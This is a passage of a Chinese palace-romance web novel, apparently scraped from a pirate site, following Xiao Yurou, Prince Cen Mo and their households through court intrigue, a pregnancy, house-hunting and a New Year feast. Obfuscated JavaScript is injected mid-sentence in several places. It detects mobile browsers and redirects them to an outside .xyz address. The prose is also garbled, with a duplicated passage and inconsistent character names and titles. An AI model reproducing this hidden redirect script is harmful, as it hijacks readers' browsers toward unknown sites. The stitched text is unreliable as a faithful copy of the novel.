前院的书房内,岑陌正在批阅奏折。宓漠站在一旁,低声禀报:“王爷,洛夫人母女是借故逃出监视的。属下怀疑有人在暗中相助。” 岑陌搁下朱笔,眸光一冷:“把他们送走。” “只怕不容易..萧家在京中根基颇深,若是强行处置,恐怕...”.宓漠为难道。 “交给林妈妈处理,不愿走就绑走。”岑陌语气冰冷,眼中闪过一丝杀意。 正说着,外面传来通报声。太子和墨王到访。 萧语柔随岑陌到前院相迎,一眼就认出了那个眼含邪气的墨王。他倚在门框上,嘴角挂着若有若无的笑意,目光在她身上停留了片刻。 “桂大人不必多礼,孤只是路过看看。”岑涛眉眼间带着几分疲惫道。 他转向萧语柔:“澜宁,随孤去见见老夫人如何?正好问问你坑了表哥几百两银子的事。” 萧语柔还未开口,岑陌已经挡在了她身前。 岑涛不以为意地笑了笑,三人一同去见老夫人。阳光下,他们的身影渐行渐远。 墨王看着他们的背影,眼中闪过一丝玩味:“这新一批京中才俊,倒是有趣得很。”他的手指轻轻敲击着门框,仿佛在思索着什么。 岑陌望着萧语柔严肃的神情,心头涌起一丝暖意。她眉头微蹙,眼中闪烁着担忧,这副模样倒是让他觉得新鲜。 萧语柔压低声音,目光警惕地扫视四周,“王爷,岑涛此人不可小觑。他表面温和,实则心机深沉。这些年在宫中,他暗中结交的势力不少。” 岑陌思绪有些恍惚。他抬眼看向萧语柔,轻笑道:“阿柔这是在担心我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707814|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧语柔一怔,不知该如何回答。深宫内院的争斗她见得太多,每一个看似和善的笑容背后,都可能藏着锋利的刀子。 “既然如此,那以后就要靠阿柔保护我了。”岑陌故意逗她,语气中带着几分戏谑。 萧语柔脸颊泛起红晕,连耳根都染上了一层薄红。她慌乱地应了一声,转身就要离开。 看着她仓皇的背影,岑陌眸中闪过一丝笑意。这丫头平日里总是一副冷静自持的模样,难得见她如此慌乱。 “多谢小舅舅相助。”岑陌转向一旁的桂远墨,语气恢复了往日的从容。 桂远墨神色复杂地看了他一眼。谁能想到,堂堂宁王居然会用这种手段对付情敌?他欲言又止,最终还是选择了沉默。 萧语柔刚走出院子,就看见韩霄站在路中央。她下意识绷紧了身子,脚步也不由自主地放慢。这个看似憨厚的女子,心思可一点不简单。每次见面,总让她感觉如芒在背。 “县主。”韩霄福了福身,脸上挂着恭敬的笑容。她从袖中取出一封信,“太子殿下命我转交。” 萧语柔站在原地,没有伸手去接。阳光透过树桂的缝隙洒在地上,在青石板上投下斑驳的影子。“有事直接派人传话即可。” 韩霄不以为意,脸上的笑容纹丝不动:“昨日柳老夫人让我算计县主一事,我已告知太子殿下,这才有了今日的拜访。” 就在这时,一道清亮的声音打破了两人之间微妙的气氛。“语柔妹妹,你们在搞什么鬼?”郗韵从拐角处走来,裙摆轻摆,步态优雅。 韩霄眼中闪过一丝精光,趁机将信塞进萧语柔怀中,转身离去。她的动作干净利落,不给萧语柔任何拒绝的机会。 紫萱眼疾手快,迅速将信收好。萧语柔强压下心中的不适,陪着郗韵去赏园中的盆栽。园中花木扶疏,一株株牡丹开得正艳,花瓣上还带着晨露。 回到幽谷后,萧语柔展开信件。信纸上的字迹工整,内容不过是些道歉之语,却字字句句都透着一股说不清道不明的意味。她沉思片刻,吩咐紫萱将信烧掉。 “告诉院中下人,月例加倍,趁我还没嫁人,不许收任何外面的东西。”萧语柔望着燃烧的信纸,火光映在她的眼中,闪烁不定。 第一百八十二章 蹊跷 第二日,慕氏来访。她一进门就说起了太子送来的东珠,还有桂远墨要搬出侯府的事。阳光透过窗棂洒进来,在地上投下细碎的光影。 “我看中了三处宅子。”慕氏细细说来,手中的帕子不停地绞着,“一处在东城,临近市集,热闹些;一处在西城,清净雅致;还有一处在南城,虽小些,但胜在价格合适。” 萧语柔提议一同去看,还让人请了怀远伯府的郗韵同行。春日的阳光正好,街上行人如织,市井气息浓郁。 路上又遇到“恰巧”路过的梁暮雪,四人结伴同行。街边小贩的吆喝声此起彼伏,空气中飘着各种小吃的香气。 “谢小姐这是从何处来?”郗韵含笑问道,眼中带着几分探究。 梁暮雪支支吾吾地说是买绣样,她身后的丫鬟暗自叹气。谁买绣样会特意绕到宁远伯府来?这借口也太过牵强。 萧语柔忽然开口:“娴姐姐有喜了。” “当真?”郗韵难以置信地看着她。 萧语柔替她把了脉,唇角勾起一抹温柔的笑意:“千真万确。脉象很稳,应该有两个月了。” 郗韵眼中泛起泪光,她嫁入怀远伯府多年,一直未有身孕。如今终于有了自己的孩子,这份喜悦让她几乎说不出话来。 慕氏连忙上前扶住她:“当心些,别太激动。”她转头看向萧语柔,眼中满是赞叹,“语柔的医术真是越发精进了。” 梁暮雪站在一旁,眼中闪过一丝复杂的神色。她攥紧了手中的帕子,指节都有些发白。 萧语柔注意到她的异样,却没有点破。春风拂过,带来阵阵花香,街边的杨柳轻轻摇曳,为这个温暖的午后平添了几分诗意。 萧语柔的话让马车内的气氛顿时活跃起来,几位贵妇人掩嘴轻笑,连一向稳重的嬷嬷都忍俊不禁。 “我就是看观娴姐姐一路上总是干呕,说嘴里没味道,嘴馋想找点开胃小零食。”萧语柔眨巴着灵动的大眼睛,一副天真烂漫的模样,“刚才扶她上马车时,我偷偷探了脉,这才知道的。” “恭喜少夫人了。”众人纷纷向郗韵道贺,马车内洋溢着欢快的气氛。 一旁的嬷嬷急得搓着手,脸上写满了焦虑:“少夫人,要不咱们先回去,把这个好消息告诉老爷夫人?这可是天大的喜事啊!” 郗韵轻抚着小腹,神色淡然:“我既然答应了要陪县主和桂夫人看宅子,自然不能食言。你先回去回话吧,我看完就回。”她的语气中带着几分倔强。 嬷嬷面露难色,欲言又止。这几日少夫人正因为公子房里那个小妾跟公子闹别扭,劝也劝不动。她只得打发小丫头回去传话,自己继续陪在郗韵身边。 慕氏见状,轻声吩咐车夫:“慢些赶路,别颠着了。”几个人都不着急,便在马车上闲聊起来。 郗韵靠在软垫上,听着众人说笑。在龙都多年,她结交的好友不少,但像今天这样,能和年纪相差甚远的人谈得如此投机的情况却很少。她不禁感到一丝欣喜,眼角的笑意愈发明显。 “夫人小姐,到了。”随着车夫的声音,马车缓缓停下。众人陆续跳下车辇,裙摆在微风中轻轻摆动。 这是慕氏最中意的一处宅院,也是主人家还在犹豫要不要卖的那一处。院门紧闭,但从围墙上探出的枝桠可以看出,院内绿树成荫。慕氏提前派人通知过,主人家早已在门口等候。 郗韵身边的嬷嬷平日负责打理铺子,消息灵通。她立刻上前通报了身份,语气中带着几分骄傲。 “原来是吕家的贵客。”主人认出郗韵,脸上的犹豫之色顿时消散了几分。他穿着一身青布长衫,气质儒雅,显然是个读书人。 这位尹先生是个颇有名气的教书先生,门下还出过金科郎。他站在门前,眉宇间带着几分愁绪,似乎有什么心事。 “您故乡在何处?”萧语柔随口问道,目光却在打量着院子的格局。 “正是流云县。”尹先生的声音有些低沉。 “柳川?”萧语柔和慕氏对视一眼,眼中闪过一丝惊讶。这不就是当初西陲暴民作乱的地方吗?那场**至今让人记忆犹新。 萧语柔记得,岑陌离开后,由主簿代理知县一职。后来那位主簿举报林都尉有功,被升任知县,倒也算得上是实至名归。只是不知道现在那边的情况如何了。 看着尹先生愁眉不展的样子,萧语柔试探着问:“莫非先生父母身体抱恙?” 尹先生还保持着几分文人的矜持,正要开口,一个中年妇人却红着眼圈从院内冲了出来。她的头发有些凌乱,显然是急匆匆赶来的。 “你能为了脸面,留下亲人独自煎熬,我可做不到!”妇人不顾尹先生的呵斥,向萧语柔等人哭诉。 原来他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707815|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的儿子在老家参加乡试时,被当地一个有权势的人家欺负,打断了骨头,差点丢了性命。老人家一听这个消息就急病了,至今卧床不起。 那户人家在当地势力很大,尹先生虽然有个当探花的学生,但人家还在外地历练,根本帮不上忙。一家人只能忍气吞声,连老家都不敢回。 “可知是谁家这般霸道?”郗韵皱眉问道,声音中带着几分愤慨。 “据传是上任父母官的公子,现在又得了宁王爷的赏识,还中了乡试第一。”梁夫人的声音越说越小,眼中流露出深深的无奈。 萧语柔心中一动。她记得郑轩为人正直善良,尤其是在他父亲被害后,更是立志要做一个好官。怎么会突然变成这样的人?这其中定有蹊跷。 “信件可还在?”萧语柔问道。 很快,一封已经有些泛黄的信被送到了萧语柔手中。她仔细看完后说:“这封信给我吧。郑轩既是王爷提拔的人,殿下岂能袖手旁观。” 离开梁家后,一行人又去看了靠近护城河的那处宅院。这是一座三进的大院子,虽然年代久远,但格局精巧,十分宽敞。院内古树参天,假山曲水,颇有几分江南园林的韵味。 郗韵走了一会儿就有些疲惫,脸色略显苍白。在嬷嬷的再三劝说下,她终于同意在凉亭歇息。梁暮雪也觉得累了,慕氏便带着精力充沛的珍珍去后院查看。 凉亭里,微风拂过,带来阵阵清凉。郗韵靠在软垫上,轻轻抚摸着小腹,眼中流露出温柔的神色。梁暮雪坐在一旁,时不时为她扇风。 没过多久,就有下人匆匆而来:“县主,桂夫人让您过去看看契书。” 萧语柔让郗韵和梁暮雪继续休息,带着紫萱往后院走去。 踏过水面蜿蜒的长廊,走过一处茂密翠绿的竹海,她看到了正在池边喂锦鲤的岑涛。 他穿着墨青色大氅,金冠束发,整个人显得温润如玉。听到脚步声,他转过身来,目光中带着几分期待和无奈。 “澜宁,抱歉,你总是回避本王,孤只好用这种方式来见你了。”岑涛的声音低沉而温和。 萧语柔站在原地,平静地看着他:“我知道你今天会来。殿下既然对我有解不开的心结,不如趁今天说个明白。” 池中的锦鲤游动,激起阵阵涟漪。远处传来鸟儿的啼鸣,似乎在为这场久违的相遇伴奏。 第一百八十三章 身不由己 岑涛站在竹林边,目光追随着那道远去的倩影。 他伸手接住一片飘落的雪花,任由它在掌心融化。这种感觉很奇妙,就像此刻在他心中流淌的情绪,既清冷又温暖。 “咱们能交个朋友吗,就像你与谷柏、棠棠那般。”他的声音轻得几乎要被风吹散。 萧语柔抬起头,目光清澈如山间溪水:“太子殿下高居九重,应当明白,这世上有些事,不是想做就能做的。”她的语气平静,却字字如刀。 岑涛的手指微微蜷缩,喉间泛起一丝苦涩:“若是三皇弟呢?” “若是三皇弟,我依然会这样说。”萧语柔顿了顿,眸光微动,“但只要他不推开我,我便会一直陪在他身边。” 这句话像一把利刃,狠狠刺入岑涛心中。他望着她的背影,竟生出一种难言的甜蜜。这种感觉太过陌生,让他有些措手不及。 池边的鱼儿游动,泛起阵阵涟漪。岑涛漫不经心地撒着鱼饵,思绪却早已飘远。他第一次体会到这种复杂的感受,甚至生出一个疯狂的念头——带她远走高飞。 明明他也喜欢霜儿,可为何面对霜儿时,从未有过这般强烈的心绪?这个问题在他心中盘旋,却始终找不到答案。 “我明白了。”最终,他只是轻笑一声。 萧语柔松了口气,福身行礼后转身离去,裙摆在风中轻轻摆动。 待她走远,竹林中悄然走出一道人影。穆秋煜站在岑涛身后,沉默不语。 岑涛继续往池中撒着鱼饵,突然开口:“焦卿,你可曾有过这种感觉?见她欢喜,不见思念,心中酸甜苦辣,皆因她一颦一笑而起。” 穆秋煜的手指微微颤动,声音有些干涩:“殿下可是对谁动了心?” “动心?”岑涛转头看他,目光深邃,“你也有过这般感受?” 穆秋煜眸光暗了暗,仿佛陷入某段往事:“有过。”简短的两个字里,藏着说不尽的故事。 “是哪家姑娘?要不要孤替你赐婚?”岑涛的语气带着几分玩味。 “她已为人妇。”穆秋煜的声音更加低沉。 “可是桂婉柔?”岑涛笑道,眼中闪过一丝狡黠,“听闻她母亲坠崖后,她随父亲去了任上。若你还有意,孤可以将人接回来。” 穆秋煜躬身,神色愈发黯淡:“臣下不敢勉强旁人。” “若她愿意呢?”岑涛拍了拍他的肩,语气轻松,“你是孤的人,孤自然要为你谋划。这样,孤这就派人送信去问问,若她应下,孤便向父皇求恩赦,成全你们。” 穆秋煜垂首,声音几不可闻:“多谢殿下。” 岑涛看着他压抑的模样,嘴角勾起一抹若有若无的笑意。 与此同时,萧语柔赶到了城南的一处宅院。慕氏正与主人家商定契约,脸上带着满意的笑容。 “舅母觉得如何?”萧语柔轻声问道。 “很好,后院还有菜地呢。”慕氏笑着说,眼中闪着怀念的光芒,“正好种些葱蒜,倒是与从前老家一般。” 萧语柔见她喜欢,便仔细帮着看了契约。她生怕有什么疏漏,认真的核对每一个字。交付定金后,约好去衙门的时辰。 刚出门,就听见急促的马蹄声由远及近。一名身着蓝衣的男子翻身下马,快步走到郗韵面前,神色焦急:“娴儿,当真......” “咳。”郗韵轻咳一声,提醒他注意场合。 宁怀玉这才注意到旁人,连忙行礼:“桂夫人,澜宁郡主,谢小姐。” 慕氏笑着道贺,便带着萧语柔和梁暮雪先行离开。马车缓缓驶过,车帘微掀,梁暮雪瞥见郗韵神色冷淡,连宁怀玉的手都不让碰。 “娴姐姐似乎不太开心。”梁暮雪轻声说道。 “大约是因府中还有位怀孕的姨娘吧。”萧语柔低声解释,语气中带着几分无奈。 慕氏连忙打断这个话题:“这等事不好议论。”她下意识地捂住夭夭的耳朵,又叹了口气,“尤其是宁王,语柔你要想开些。皇亲贵胄,子嗣要紧,莫要钻牛角尖。” 萧语柔只是淡淡一笑,将这话轻轻放过。马车继续向前,车轮碾过石板路,发出规律的声响。 回府前,萧语柔邀梁暮雪明日来喝茶,梁暮雪欣然应允。两人的眼神中都带着几分默契。 “谢小姐无论才貌家世,都与枕儿相配。”慕氏有些期待。 “有劳小舅母费心了。”萧语柔温声道。 “费什么心?”桂辰恰巧从廊下经过,听到这句话。 珍珍蹦蹦跳跳地跑过来,天真地说道:“必须是要给二哥物色个对象啊!谢姐姐多好,仙气又甜美,还特意买了冰糖葫芦宠我。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713974|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >慕氏连忙捂住他的嘴,生怕他说出更多话来。 桂辰耳根微红,快步离去。他的背影有些慌乱,却又透着几分少年人特有的羞涩。 夜幕降临,萧语柔将梁家的消息和信送去宁王府。她本想去庭园寻岑陌商议太上皇之事,却得知他不在,只得作罢。回程的路上,月光洒在青石板上,将她的影子拉得很长。 随着梁暮雪来访频繁,府中众人渐渐察觉了什么。暗流涌动,却又维持着表面的平静。 这日午后,梁暮雪刚要离开桂府,恰巧凌府的马车驻足门前。 “暮雪,一起走走?”谷霜掀开车帘,声音温和。 梁暮雪看到赵婷也在车内,虽心有不愿,还是礼貌地上了车。马车缓缓前行,车厢内的气氛却有些凝重。 “你喜欢桂辰?”谷霜开门见山地问道。 “那个选择轻生的怂货?”赵婷惊呼,语气中带着明显的轻蔑。 梁暮雪攥紧衣裙,指节泛白:“他不是懦夫。”声音虽轻,却带着坚定。 “不是软骨头是啥?堂堂男儿,学女子寻死,不是软骨头是啥?”赵婷的话语尖锐如刺。 “你不了解他,不知道原因,凭什么这样说?”梁暮雪难得动怒,眼中闪过一丝愤意。 “你知道?”赵婷讽刺道,嘴角勾起冷笑。 梁暮雪沉默片刻。她虽不知详情,但语柔说过,桂辰是不愿做恶人才会如此。这个解释,对她来说就够了。 “呵,你不也不知道?人家根本没把你放在心上。”赵婷继续说道,每个字都像是要刺进梁暮雪心里。 梁暮雪转向谷霜,声音平静:“你有话要说吗?没有我就先走了。” 谷霜制止了还要开口的赵婷,语气温和却不容置疑:“我觉得你们不合适。宁远侯现在自身难保,爵位勉强保住。侯府已有长子晏澜,桂辰既无功名又无爵位,家底空虚,配不上你。” 梁暮雪罕见地反驳:“他很有才华,为人谦逊。”她的声音很轻,却带着不容动摇的坚定。 “你要过寻常百姓的日子吗?”谷霜指着街边抱子的妇人,语气渐渐严厉,“你看她手多粗糙,衣衫粗布,年纪轻轻就满脸皱纹。每日要带孩子做家务,你受得了吗?” 马车继续向前,载着各怀心事的三人,驶向暮色深沉的街道。 第一百八十四章 我愿意 桂辰耳根微红,快步离去。他的背影有些慌乱,却又透着几分少年人特有的羞涩。 夜幕降临,萧语柔将梁家的消息和信送去宁王府。她本想去庭园寻岑陌商议太上皇之事,却得知他不在,只得作罢。回程的路上,月光洒在青石板上,将她的影子拉得很长。 随着梁暮雪来访频繁,府中众人渐渐察觉了什么。暗流涌动,却又维持着表面的平静。 这日午后,梁暮雪刚要离开桂府,恰巧凌府的马车驻足门前。 “暮雪,一起走走?”谷霜掀开车帘,声音温和。 梁暮雪看到赵婷也在车内,虽心有不愿,还是礼貌地上了车。马车缓缓前行,车厢内的气氛却有些凝重。 “你喜欢桂辰?”谷霜开门见山地问道。 “那个选择轻生的怂货?”赵婷惊呼,语气中带着明显的轻蔑。 梁暮雪攥紧衣裙,“他不是懦夫。” “不是软骨头是啥?堂堂男儿,学女子寻死,不是软骨头是啥?”赵婷的话语尖锐如刺。 “你不了解他,不知道原因,凭什么这样说?”梁暮雪难得动怒。 “你知道?”赵婷讽刺道,嘴角勾起冷笑。 梁暮雪沉默片刻。她虽不知详情,但语柔说过,桂辰是不愿做恶人才会如此。这个解释,对她来说就够了。 “呵,你不也不知道?人家根本没把你放在心上。”赵婷继续说道,每个字都像是要刺进梁暮雪心里。 梁暮雪转向谷霜,声音平静:“你有话要说吗?没有我就先走了。” 谷霜制止了还要开口的赵婷,语气温和却不容置疑:“我觉得你们不合适。宁远侯现在自身难保,爵位勉强保住。侯府已有长子晏澜,桂辰既无功名又无爵位,家底空虚,配不上你。” 梁暮雪罕见地反驳:“他很有才华,为人谦逊。”她的声音很轻,却带着不容动摇的坚定。 “你要过寻常百姓的日子吗?”谷霜指着街边抱子的妇人,语气渐渐严厉,“你看她手多粗糙,衣衫粗布,年纪轻轻就满脸皱纹。每日要带孩子做家务,你受得了吗?” 梁暮雪坐在马车里,抬眸看向对面的谷霜,“我愿意,霜儿。”她轻声说道,“我是真心喜欢叶辰的。” 话音刚落,一旁的赵婷便发出一声嗤笑。她斜倚在软垫上,眼中带着几分轻蔑:“你一个大家闺秀,怎么能如此轻易说出喜欢二字?也不知羞。” 这话像一根刺,狠狠扎进梁暮雪的心里。她的脸瞬间涨得通红,手指下意识地攥紧了衣裙。支支吾吾了半天,才找到一个借口:“我、我答应了语柔要去写字帖,就先告辞了。” 说完,她慌忙叫停了马车,逃也似的离开了。裙角在踏板上绊了一下,差点摔倒,却仍顾不得停留。 “霜儿,你何必还管她?”赵婷见人走远,立刻凑到谷霜身边,压低声音道,“她根本不把你当朋友。” 谷霜转过头,目光冷冷地扫过赵婷的脸:“无论如何,暮雪都是我的朋友。” 那眼神里的寒意让赵婷不由自主地缩了缩脖子,讪讪地笑了笑。但她显然还不死心,又小声嘀咕:“可她现在整日与萧语柔厮混,那萧语柔与你不和,万一在背后说你坏话...” “够了。” 谷霜冷冽的声音打断了她的话。赵婷立刻噤声,不敢再多言。车厢内的气氛一时间凝固起来,只剩下马蹄踏在青石板上的哒哒声。 “去明月阁。”良久,谷霜才开口吩咐道。她顿了顿,又补充道,“让人去请柳小姐过来。” 她知道,只要柳紫紫来了,赵明远必然会随后而至。自从太子赐婚后,赵明远便很少出现在她面前。谷霜心里清楚,他是在为她避嫌。 想到梁暮雪方才那番话,谷霜眸中闪过一丝担忧。叶家那个漩涡,她决不能让好友陷进去。 年关将至,因皇上在庙中礼佛,今年不设宫宴。叶府早已定下,要请岑陌来府上过年。这日清晨,萧语柔便与晏澜、叶辰一同来到王府送请帖。 王府的下人们见了萧语柔,比见到岑陌还要热情几分。争相献殷勤,生怕她受半点委屈。 “王爷正在沐浴,几位请稍候。”林妈妈将一行人引到暖阁,奉上新泡的茶点。 晏澜坐在椅子上,浑身僵硬得像块木头。这还是他第一次以客人身份造访王府,林妈妈一开口,他便如受惊的兔子般跳起来。 “大公子不必拘谨。”林妈妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713975|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着说道。 小厮祥宁连忙按住自家公子的肩膀,生怕他再做出什么失态的举动。 不多时,岑陌便来了。一身白衣胜雪,发间还带着些许水汽,衣袂飘飘间带着淡淡的檀香。 “王爷。”众人起身行礼。 岑陌的目光落在晏澜身上:“今日可曾练剑?” “还未...”晏澜低着头,声音越来越小。 “宓漠,和少爷切磋几下。”岑陌淡淡道,“若输了,扣你一月俸禄。” 宓漠立即应声,晏澜眼中也燃起斗志。得了萧语柔的默许,便跟着出去了。 岑陌又看向叶辰:“春闱准备得如何?” “还在努力准备。”叶辰恭敬答道。 “王府翰墨楼有历年前三甲文章,你去看看。” 叶辰闻言大喜,向萧语柔告罪一声,便匆匆去了。 萧语柔无奈地看着岑陌:“那臣女是不是该去翻翻医书?” “你只需看着本王便好。”岑陌语气平淡,却让人心头一热。 萧语柔:“...” 她将来意说明,岑陌应允后,又提起萧家之事:“我已命林妈妈送他们离开,短期内不会回来。即便回来,你也不必理会。” 这些年岑陌暗中资助萧家,但他们仍过得清贫。经过调查才发现,原来是萧语柔的叔叔暗中挪用那些钱财养了一批人。岑陌之前佯装不知,是因为那些人掀不起什么风浪。但这次他们竟敢打阿柔的主意,简直不知死活。他假装不经意地提起那批人,她叔叔就慌不择路地逃了。 “听说你前几日来找过我?”岑陌端起茶盏,目光落在萧语柔脸上。 “是的。”萧语柔取出一串佛珠,犹豫片刻才开口,“王爷可了解太上皇?” “不多。长公主很少提起。” 萧语柔咬了咬唇:“如果我说,我觉得太上皇有些不对劲,王爷会生气吗?” “只要阿柔不说要离开我,无论如何都不会动怒。”岑陌神色淡然。 萧语柔眨眨眼,唇角勾起甜甜的笑:“奴家对王爷一片痴心,怎么舍得离开?” 岑陌端茶的手微顿,唇角也勾起一抹笑意:“那就好。” 第一百八十五章 打雪仗 “行。”郗澜点点头,“对了,柳家那边...” “我知道了。”萧语柔打断他的话,“让他们查去。” 郗澜皱眉:“不管?” “有些事,不必我们出手。”萧语柔望着远处的灯火,“自有人会去做。” 年关将至,举国欢庆,就连那些暗地里较劲的人也都暂时案甲休兵,为新年留出几分喜气。 大晋有中午吃团年饭的习俗,讲究要摆八十八道菜,当然这是富贵人家才行,寻常百姓家能有八道、十二道也就不错了。 秦氏一大早就和金姨娘忙活开了。 晏夫人身子已大好,裹着厚厚的大氅去给老夫人请安,又帮着秦氏张罗了一会儿。 珍珍最是开心,拉着阿莺和几个小丫头满院子地跑闹,欢声笑语不断。 自打叶莹走后就把自己关在听竹轩的叶琳,今日也换了身鲜亮的衣裙出来了。 “七妹妹。”她主动向萧语柔打招呼,声音有些生涩。 萧语柔还礼道:“五姐穿这身衣服真是好看。” 叶琳身边的丫环忙道:“可不是,小姐好说歹说才肯换上,明明还年轻,总爱穿那深色。” 叶琳连忙呵斥丫环,脸上飞起一抹红晕。 萧语柔心下了然,叶琳到了说亲的年纪了。这些日子把自己关在院子里,想必也是为了这事。 “外祖母前些日子还提起几家,”她温声道,“只是年前侯府事多,不好说这些。等开春后,外祖母定会安排五姐姐参加些小宴的。” 叶琳眼中含泪,连忙行礼:“多谢七妹妹。” “何须谢我,”萧语柔扶起她,“五姐可是外祖母最疼的嫡亲外孙女,她自然记挂着的。” 叶琳这才破涕为笑,眼中重新燃起希望。 两人寒暄了一番,叶琳正要准备离开,萧语柔一把拉住她的手臂。 “五姐都要去相亲了,不如跟着小舅母学学管家之道。”萧语柔眼中闪烁着狡黠的光芒,“舅母脾气贼好,定能教你许多。” 叶琳低头看着自己被拉住的手臂,眉头微蹙。她本想推辞,可想到即将到来的相亲,心中不免忐忑。片刻犹豫后,她轻轻点了点头。 厨房里飘着阵阵香气,丫鬟们来来往往地忙碌着。秦氏正在查看今日的菜单,听到脚步声抬头望去,见到叶琳时先是一愣,随即展颜一笑:“来得正好,我这儿正缺个帮手。” 她放下手中的账册,温声细语道:“琳儿,这些管事们念叨得我头疼,你且帮我听听,能处理的就替我做主。” 叶琳想起萧语柔的话,看着秦氏温柔的面容,紧绷的神经稍稍放松。她走到秦氏身边,仔细听着管事们的汇报。 不多时,外头传来通传声:“王爷到了!”接着,又补充道:“王爷特意吩咐不必迎接。” 秦氏抬眸看了眼叶琳,见少女面色微变,轻声安抚:“前面有你叔在盯着呢,你且在这儿跟我学着。”她顿了顿,语气柔和,“来年你也是要做人家主母的了。” 岑陌刚踏入侯府大门,便被满院的喜气包围。红灯笼高高挂起,每个角落都贴满了福字,连檐角都挂着金色的铃铛,随风轻摇。丫鬟们身着新衣,脸上洋溢着笑容,几个小丫头正在院中放着纸鸢,虽飞不高,却也欢快。 白雪覆盖着黑瓦,点缀着盛开的盆栽,处处洋溢着节日的气息。 “王爷请。”叶成江笑着引路,目光中带着几分打量。 岑陌微微颔首,与叶成江并肩而行。他今日一改往日的冷峻,眉眼间多了几分温和。 叶成江看着身旁这位传闻中孤僻的定王,心中暗暗称奇。谁能想到,这位王爷私下竟如此平易近人? 想到此,叶成江也放松下来,摆出当长辈的派头,向岑陌谈起夫妻之道:“王爷啊,成家立业乃人生大事。我那外甥女虽调皮了些,却也是个知书达理的。” 岑陌听着,嘴角微扬,不时应和几句。两人说话间,已到了正厅。 忙碌一上午,团圆宴终于开席。因岑陌在场,侯府准备了八十八道佳肴,菜名皆是喜庆吉祥。 老夫人端坐上首,看着满堂和乐,心情甚好,当场赏赐了府中上下。晏夫人坐在下首,看着这一幕,不禁想起往事,悄悄拭泪。晏澜则端坐一旁,看着满堂欢声笑语,心中百感交集。 叶辰最**席,众人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720862|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知他是去祭拜穆氏了。他刚坐下,小小的珍珍就扑了过来:“叶辰哥哥,年节香袋呢?” 这话惹得满座大笑,就连一向严肃的岑陌也露出了一丝笑意。 秦氏将一切安排得妥帖,鞭炮声响起,大伙儿开吃了。岑陌刚动筷,便见一颗四喜丸子落入碗中。抬头望去,萧语柔已在与叶琳谈笑,仿佛什么都没发生。 饭后,萧语柔拉着岑陌、晏澜等人去院中堆雪人。昨夜的积雪未扫,正好及膝。墙角几枝红梅探出,与白雪相映成趣。 原本众人规规矩矩地堆着雪人,直到珍珍一个雪球精准地砸中萧语柔:“语柔姐姐,中啦!” 萧语柔立即反击,对准晏澜:“大表哥,定是你怂恿的!”说着,一个雪球已经飞了出去。 晏澜躲闪不及,被雪球击中肩膀,装模作样地捂着胸口:“这可是**亲表哥啊!” 一场雪仗就此展开。岑陌也加入战局,与宓漠、林妈妈结盟。晏澜则拉上叶辰和阿桐。萧语柔和珍珍在中间怂恿,连向来拘谨的叶琳也被拉入其中。 雪花纷飞中,欢笑声此起彼伏。 直到秦氏出来劝阻:“都住手吧,小心着凉。”她随即命人送上热姜茶,“都进屋暖和暖和。” 众人这才意犹未尽地停下,拍打着身上的积雪。 说话间,有人来报,说萧星朗和慕老将军到了。 萧语柔眼睛一亮,拉着叶琳就要往外跑:“走,咱们去接他们!” 岑陌看着她的背影,嘴角微扬。他端起姜茶,热气氤氲中,似乎看到了未来的生活。 夜幕降临,侯府张灯结彩,处处洋溢着节日的喜庆。萧星朗和慕老将军的到来,更是让这个团圆之夜增添了几分温馨。 